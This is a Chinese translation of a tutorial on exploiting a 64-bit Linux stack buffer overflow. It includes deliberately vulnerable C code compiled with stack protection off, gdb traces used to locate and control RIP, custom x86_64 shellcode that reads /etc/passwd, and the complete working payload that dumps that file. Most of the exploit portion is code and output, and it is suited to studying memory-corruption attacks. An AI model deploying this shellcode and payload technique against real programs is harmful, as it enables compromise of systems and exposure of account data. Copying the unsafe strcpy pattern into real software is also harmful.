from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf

本文的目的是让大家学到64位缓冲区溢出的基础知识。 作者Mr.Un1k0d3r RingZer0 Team

摘要

0x01 x86和x86_64的区别

0x02 漏洞代码片段

0x03 触发溢出

0x04 控制RIP

0x05 跳入用户控制的缓冲区

0x06 执行shellcode

0x07 GDB vs 现实

0x08 结语

0x01 x86和x86_64的区别

第一个主要区别就是内存地址的大小。这没啥可惊奇的: 不过即便内存地址有64位长用户空间也只能使用前47位要牢记这点因为当你指定一个大于0x00007fffffffffff的地址时会抛出一个异常。那也就意味着0x4141414141414141会抛出异常而0x0000414141414141是安全的。当你在进行模糊测试或编写利用程序的时候我觉得这是个很巧妙的部分。

事实上还有很多其他的不同但是考虑到本文的目的不了解所有的差异也没关系。

0x02 漏洞代码片段

#!cpp

int main(int argc, char **argv) {

char buffer[256];

if(argc != 2) {

exit(0);

}

printf("%p\n", buffer);

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

return 0;

}

为了节省漏洞利用的时间我决定打印缓冲区指针地址。

你可以用gcc编译上述代码。

#!bash

$ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector

这样就一切妥当了。

0x03 触发溢出

首先我们来确认一下确实可以让这个进程崩溃。

#!cpp

$ ./bof $(python -c 'print "A" * 300')

0x7fffffffdcd0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

好来确认一下我们控制的RIP指令指针

你可以通过stepi单步执行来过一遍程序流程译者应该用ni比较合适。 当过了strcpy调用(0x40066c)之后你会发现当前缓冲区指针指向0x7fffffffdc90而不是0x7fffffffdcd0这是gdb的环境变量和其他东西造成的。不过现在我们不关心之后会解决的。 重要的说明* 在之后的内容中当我提到leave指令时就是指的上面的地址0x400685。 最后这是strcpy过后的栈

#!bash

(gdb) x/20xg $rsp

0x7fffffffdc80: 0x00007fffffffde78 0x00000002f7ffe520

0x7fffffffdc90: 0x4141414141414141 0x4141414141414141

0x7fffffffdca0: 0x4141414141414141 0x4141414141414141

0x7fffffffdcb0: 0x4141414141414141 0x4141414141414141

0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141

0x7fffffffdcd0: 0x4141414141414141 0x4141414141414141

0x7fffffffdce0: 0x4141414141414141 0x4141414141414141

0x7fffffffdcf0: 0x4141414141414141 0x4141414141414141

0x7fffffffdd00: 0x4141414141414141 0x4141414141414141

0x7fffffffdd10: 0x4141414141414141 0x4141414141414141

接着主函数(main)中的leave指令把rsp指向0x7fffffffdd98。 栈就变成了这样子

#!bash

(gdb) x/20xg $rsp

0x7fffffffdd98: 0x4141414141414141 0x4141414141414141

0x7fffffffdda8: 0x4141414141414141 0x4141414141414141

0x7fffffffddb8: 0x0000000041414141 0x0000000000000000

0x7fffffffddc8: 0xa1c4af9213d095db 0x0000000000400520

0x7fffffffddd8: 0x00007fffffffde70 0x0000000000000000

0x7fffffffdde8: 0x0000000000000000 0x5e3b506da89095db

0x7fffffffddf8: 0x5e3b40d4af2a95db 0x0000000000000000

0x7fffffffde08: 0x0000000000000000 0x0000000000000000

0x7fffffffde18: 0x0000000000400690 0x00007fffffffde78

0x7fffffffde28: 0x0000000000000002 0x0000000000000000

(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.

好极了我们有SIGSEGV的时机去查看当前寄存器的值。

#!bash

(gdb) i r

rax  0x0  0

rbx  0x0  0

rcx  0xffffffffffffffff  -1

rdx  0x7ffff7dd59e0 140737351866848

rsi  0x7ffff7ff7000 140737354100736

rdi  0x1  1

rbp  0x4141414141414141 0x4141414141414141

rsp   0x7fffffffdd98  0x7fffffffdd98

r8  0x4141414141414141 4702111234474983745

r9  0x4141414141414141 4702111234474983745

r10  0x4141414141414141 4702111234474983745

r11  0x246 582

r12  0x400520 4195616

r13  0x7fffffffde70 140737488346736

r14  0x0  0

r15   0x0  0

rip  0x400686 0x400686

eflags  0x10246  [ PF ZF IF RF ]

cs  0x33  51

ss  0x2b  43

ds  0x0  0

es  0x0  0

fs  0x0  0

gs  0x0  0

(gdb) stepi

Program terminated with signal SIGSEGV, Segmentation fault.

The program no longer exists.

好了程序就这样结束了我们没能控制RIP为什么因为我们覆盖了太多位记得最大的地址是0x00007fffffffffff吧而我们尝试用0x4141414141414141去溢出了。

0x04 控制RIP

我们发现了个小问题不过只要是问题总有办法解决的我们可以用个小一点的缓冲区去溢出这样指向rsp的地址就会像0x0000414141414141一样了。 通过简单的数学运算就可以很轻松地算出我们缓冲区的大小。我们知道缓冲区开始于0x7fffffffdc90。Leave指令之后rsp将指向0x7fffffffdd98。

0x7fffffffdd98 - 0x7fffffffdc90 = 0x108 -> 十进制的264

知道了这些我们可以把溢出载荷修改成这样

"A" * 264 + "B" * 6

rsp指向的地址应该像0x0000424242424242一样正常了。那样就能控制RIP。

#!bash

$ gdb -tui bof

(gdb) set disassembly-flavor intel

(gdb) layout asm

(gdb) layout regs

(gdb) break main

(gdb) run $(python -c 'print "A" * 264 + "B" * 6')

这次我们直接看调用leave指令后的状况。 这是leave指令执行后的栈

#!bash

(gdb) x/20xg $rsp

0x7fffffffddb8: 0x0000424242424242 0x0000000000000000

0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000

0x7fffffffddd8: 0x000000000040060d 0x0000000000000000

0x7fffffffdde8: 0x2a283aca5f708a47 0x0000000000400520

0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000

0x7fffffffde08: 0x0000000000000000 0xd5d7c535e4f08a47

0x7fffffffde18: 0xd5d7d58ce38a8a47 0x0000000000000000

0x7fffffffde28: 0x0000000000000000 0x0000000000000000

0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98

0x7fffffffde48: 0x0000000000000002 0x0000000000000000

这是leave指令执行后寄存器的值

#!bash

(gdb) i r

rax  0x0  0

rbx  0x0  0

rcx  0xffffffffffffffff  -1

rdx    0x7ffff7dd59e0 140737351866848

rsi  0x7ffff7ff7000 140737354100736

rdi  0x1  1

rbp  0x4141414141414141 0x4141414141414141

rsp   0x7fffffffddb8  0x7fffffffddb8

r8  0x4141414141414141 4702111234474983745

r9  0x4141414141414141 4702111234474983745

r10  0x4141414141414141 4702111234474983745

r11  0x246 r12 0x400520 4195616

r13  0x7fffffffde90 140737488346768

r14     0x0  0

r15  0x0  0

rip  0x400686 0x400686

eflags  0x246 [ PF ZF IF ]

cs  0x33  51

ss  0x2b  43

ds  0x0  0

es  0x0  0

fs  0x0     0

gs  0x0  0

rsp指向0x7fffffffddb8而0x7fffffffddb8的内容就是0x0000424242424242。看来一切正常是时候执行ret指令了。

#!bash

(gdb) stepi

Cannot access memory at address 0x424242424242

Cannot access memory at address 0x424242424242

(gdb) i r

rax  0x0  0

rbx  0x0  0

rcx  0xffffffffffffffff  -1

rdx  0x7ffff7dd59e0 140737351866848

rsi  0x7ffff7ff7000 140737354100736

rdi  0x1  1

rbp  0x4141414141414141   0x4141414141414141

rsp   0x7fffffffddc0  0x7fffffffddc0

r8  0x4141414141414141 4702111234474983745

r9  0x4141414141414141 4702111234474983745

r10  0x4141414141414141 4702111234474983745

r11     0x246  582

r12  0x400520 4195616

r13  0x7fffffffde90 140737488346768

r14  0x0  0

r15  0x0  0

rip   0x424242424242  0x424242424242

eflags  0x246 [ PF ZF IF ]

cs  0x33    51

ss  0x2b  43

ds  0x0  0

es  0x0  0

fs  0x0  0

gs  0x0  0

我们最终控制了rip

0x05 跳入用户控制的缓冲区

事实上这部分内容没什么特别的或者新的东西你只需要指向你控制的缓冲区开头。也就是第一个printf显示出来的值在这里是0x7fffffffdc90。通过gdb也可以很容易地重新获得这个值你只需在调用strcpy之后显示栈。

#!bash

(gdb) x/4xg $rsp

0x7fffffffdc80: 0x00007fffffffde98 0x00000002f7ffe520

0x7fffffffdc90: 0x4141414141414141 0x4141414141414141

是时候更新我们的载荷了。新的载荷看起来像这样

"A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]

因为是小端结构所以我们需要把内存地址反序。这就是python语句[::-1]所实现的。

确认下我们跳入正确的地址。

#!bash

$ gdb -tui bof

(gdb) set disassembly-flavor intel

(gdb) layout asm

(gdb) layout regs

(gdb) break main

(gdb) run $(python -c 'print "A" * 264 +

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

(gdb) x/20xg $rsp

0x7fffffffddb8: 0x00007fffffffdc90  0x0000000000000000

0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000

0x7fffffffddd8: 0x000000000040060d 0x0000000000000000

0x7fffffffdde8: 0xe72f39cd325155ac 0x0000000000400520

0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000

0x7fffffffde08: 0x0000000000000000 0x18d0c63289d155ac

0x7fffffffde18: 0x18d0d68b8eab55ac 0x0000000000000000

0x7fffffffde28: 0x0000000000000000 0x0000000000000000

0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98

0x7fffffffde48: 0x0000000000000002 0x0000000000000000

这是执行leave指令后的栈。如我们所知rsp指向0x7fffffffddb8。0x7fffffffddb8的内容是0x00007fffffffdc90。最后0x00007fffffffdc90指向我们控制的缓冲区。

(gdb) stepi

ret指令执行后rip指向0x7fffffffdc90这意味着我们跳入了正确的位置。

0x06 执行shellcode

在这个例子中我准备用个定制的shellcode去读/etc/passwd的内容。

#!bash

BITS 64

; Author Mr.Un1k0d3r - RingZer0 Team

; Read /etc/passwd Linux x86_64 Shellcode

; Shellcode size 82 bytes

global _start

section .text

_start:

jmp _push_filename

_readfile:

; syscall open file

pop rdi   ; pop path value

; NULL byte fix

xor byte [rdi + 11], 0x41

xor rax, rax

add al, 2

xor rsi, rsi  ; set O_RDONLY flag

syscall

; syscall read file

sub sp, 0xfff

lea rsi, [rsp]

mov rdi, rax

xor rdx, rdx

mov dx, 0xfff   ; size to read

xor rax, rax

syscall

; syscall write to stdout

xor rdi, rdi

add dil, 1 ; set stdout fd = 1

mov rdx, rax

xor rax, rax

add al, 1

syscall

; syscall exit

xor rax, rax

add al, 60

syscall

_push_filename:

call _readfile

path: db "/etc/passwdA"

接下来汇编这个文件然后提取shellcode。

#!bash

$ nasm -f elf64 readfile.asm -o readfile.o

$ for i in $(objdump  -d readfile.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x6

6\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x

0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\

xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f

\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

这个shellcode长82字节。来构造最终的载荷吧。

原来的载荷

#!bash

$(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')

我们要保证一样的大小所以264 - 82 = 182

#!bash

$(python -c 'print "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')

然后把shellcode接在开头

#!bash

$(python -c 'print

"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x

66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\

x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31

\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2

f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

来把所有东西一块儿测试

#!bash

$ gdb –tui bof

(gdb) run $(python -c 'print

"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x

66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\

x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31

\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2

f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

如果一切正常你就会看到/etc/passwd的内容。要注意内存地址是可以变化的这样可能就和我这里的不同了。

0x07 GDB vs 现实

因为gdb会初始化一些变量和其他的东西所以如果你试着在gdb之外使用同样的利用脚本就会失败。不过在这个例子中我加了个对printf的调用来输出缓冲区指针。这样我们就可以很容易地找到正确的值并且在真实的环境中获得地址。

这是使用我们在gdb中找到的值的真实版本

#!bash

$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31

\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34

\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05

\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f

\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74

\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

0x7fffffffdcf0

?_w

[email protected]<

/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAA•

Illegal instruction (core dumped)

很显然利用不成功。因为地址已经从0x7fffffffdc90变成了0x7fffffffdcf0。幸好有这点printf的输出我们只需用正确的值调整一下载荷。

#!bash

$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31

\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34

\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05

\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f

\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74

\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +

"\x7f\xff\xff\xff\xdc\xf0"[::-1]')

0x7fffffffdcf0

?_w

[email protected]<

/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAA•

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

换成正确的值之后利用一切正常。

0x08 结语

希望你们能喜欢这篇关于Linux下x86_64缓冲区溢出的文章,有很多关于x86溢出的文章了,但64位的溢出比较少见。

祝你们拿到好多好多shell!

感谢

linux64 溢出,64位Linux下的栈溢出相关推荐

  1. 64位Linux下的栈溢出

    from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf 本文的目的是让大家学到64位缓冲区溢出的基础知 ...

  2. linux32位运行64位程序,32位windows下可以运行的程序在64位linux下报错

    已结贴√ 问题点数:20 回复次数:3 32位windows下可以运行的程序在64位linux下报错 filt.c在32位windows code:blocks 10.05下运行无任何异样. 传到64 ...

  3. 64位装32位oracle软件,在64位linux下安装32位oracle软件

    在某些情况下,有时我们需要在64位的系统下来安装32的oracle软件(如,客户的变态要求).虽然在理论上,这种方式是可行的,但在实际的安装过程中确往往是错误百出,为了避免不必要的错误,也为了方便以后 ...

  4. 【转载】64位Linux下源码安装apache2

    64位下源码安装apache2,中间过程遇到了好几个错误,总结起来都是跟64位机器下,lib库格式不匹配的问题,如: /usr/lib/libexpat.so: could not read symb ...

  5. 64位Linux下JVM内存调设遇到GC问题的备忘

    问题:jar提交到64位的linux环境中执行,由于文件过大,5G左右,发现数据一致导入不了,于是设置了JVM内存,执行命令如下: java -Xmx10240m -jar vip.jar 结果爆出G ...

  6. 64位linux下的gns3网络模拟器配置

    一.GNS3简介 1.1 GNS3简介 GNS3是一款具有图形化界面可以运行在多平台(包括Windows, Linux, and MacOS等)的网络虚拟软件.Cisco网络设备管理员或是想要通过CC ...

  7. 64位linux下安装ps模拟器ePSxe

    早就想在爱机上玩ps游戏,特别是彩京的1945一代和非常经典的实况足球2002版.在ubuntu64位下可以通过wine模拟的方式运行windows版的ePSxe,但是总觉得差些呢?非原生啊!网上搜了 ...

  8. Linux安装软件的注意事项,64位Linux下安装软件注意事项

    执行到./configure --enable-shared一步时提示: checking host system type... Invalid configuration `x86_64-unkn ...

  9. 64位Linux下使用QQ

    因为官方QQ for linux 版本只用32位,所以在64位系统上运行需要相应的库支持. Ubuntu 执行以下命令: sudo apt-get install ia32-libs ia32-lib ...

最新文章

  1. java集合中某一个元素出现的次数
  2. HTML5学习笔记(二):HTML基础学习之一
  3. python读取配置文件不更改大小写_Python不区分大小写的文件名?
  4. 甘特图制作_如何用Excel快速制作甘特图?(超详细!)
  5. 联想小新pro无法人脸识别自动开机的解决方法
  6. mysql gdb 调试 参数_gdb调试带参数程序
  7. 别人家的公司!顺丰将向员工提供3亿贷款,无利息无抵押无担保
  8. React-Native 双平台应用的测试发布和 CodePush 热更新部署
  9. python权重相似度矩阵_gensim之使用稀疏矩阵相似度,判断输入的文字意图
  10. 网页版bpc电波对时_BPC电波对时app下载|BPC电波对时安卓版下载 v1.04 - 跑跑车安卓网...
  11. OC_键值编码KVC(Key-Value Coding)
  12. 怪物之心无法触发_《异度之刃2》稀有异刃力男怪物之心支线任务攻略
  13. layui设置按钮不可点击_layui upload 模块点击选择文件按钮的禁用与启用功能
  14. Spring Security技术栈学习笔记(十三)Spring Social集成第三方登录验证开发流程介绍
  15. 如果Iphone被偷了,能找回来吗?
  16. 电脑查询域名对应IP的过程
  17. Hexo中NexT主题添加CNZZ统计
  18. 关于iPhone改变的一切,这也许是史上最详细的盘点
  19. web前端期末大作业——开心旅游网站设计与实现(HTML+CSS+JavaScript)
  20. 练习2-4:重新编写函数squeeze(s1,s2),将字符串s1中的任何字符与字符串时s2中的字符匹配的字符都删除

热门文章

  1. JavaScript中对象成员的可见性
  2. 【Echarts】——上手Demo
  3. [网络安全自学篇] 四十三.恶意样本原理及远程服务器IPC$安全缺陷解析
  4. [网络安全自学篇] 三十三.文件上传之绕狗一句话原理和绕过安全狗(六)
  5. 【python数据挖掘课程】十.Pandas、Matplotlib、PCA绘图实用代码补充
  6. Git之常用命令的综合使用和示例分析
  7. 【数据结构与算法】之深入解析“平衡二叉树”的求解思路与算法示例
  8. 【数据结构与算法】之深入解析“填充每个节点的下一个右侧节点指针”的求解思路与算法示例
  9. 【数据结构与算法】之深入解析“有效的数独”的求解思路与算法示例
  10. RxSwift之UI控件UIActivityIndicatorView与UIApplication扩展的使用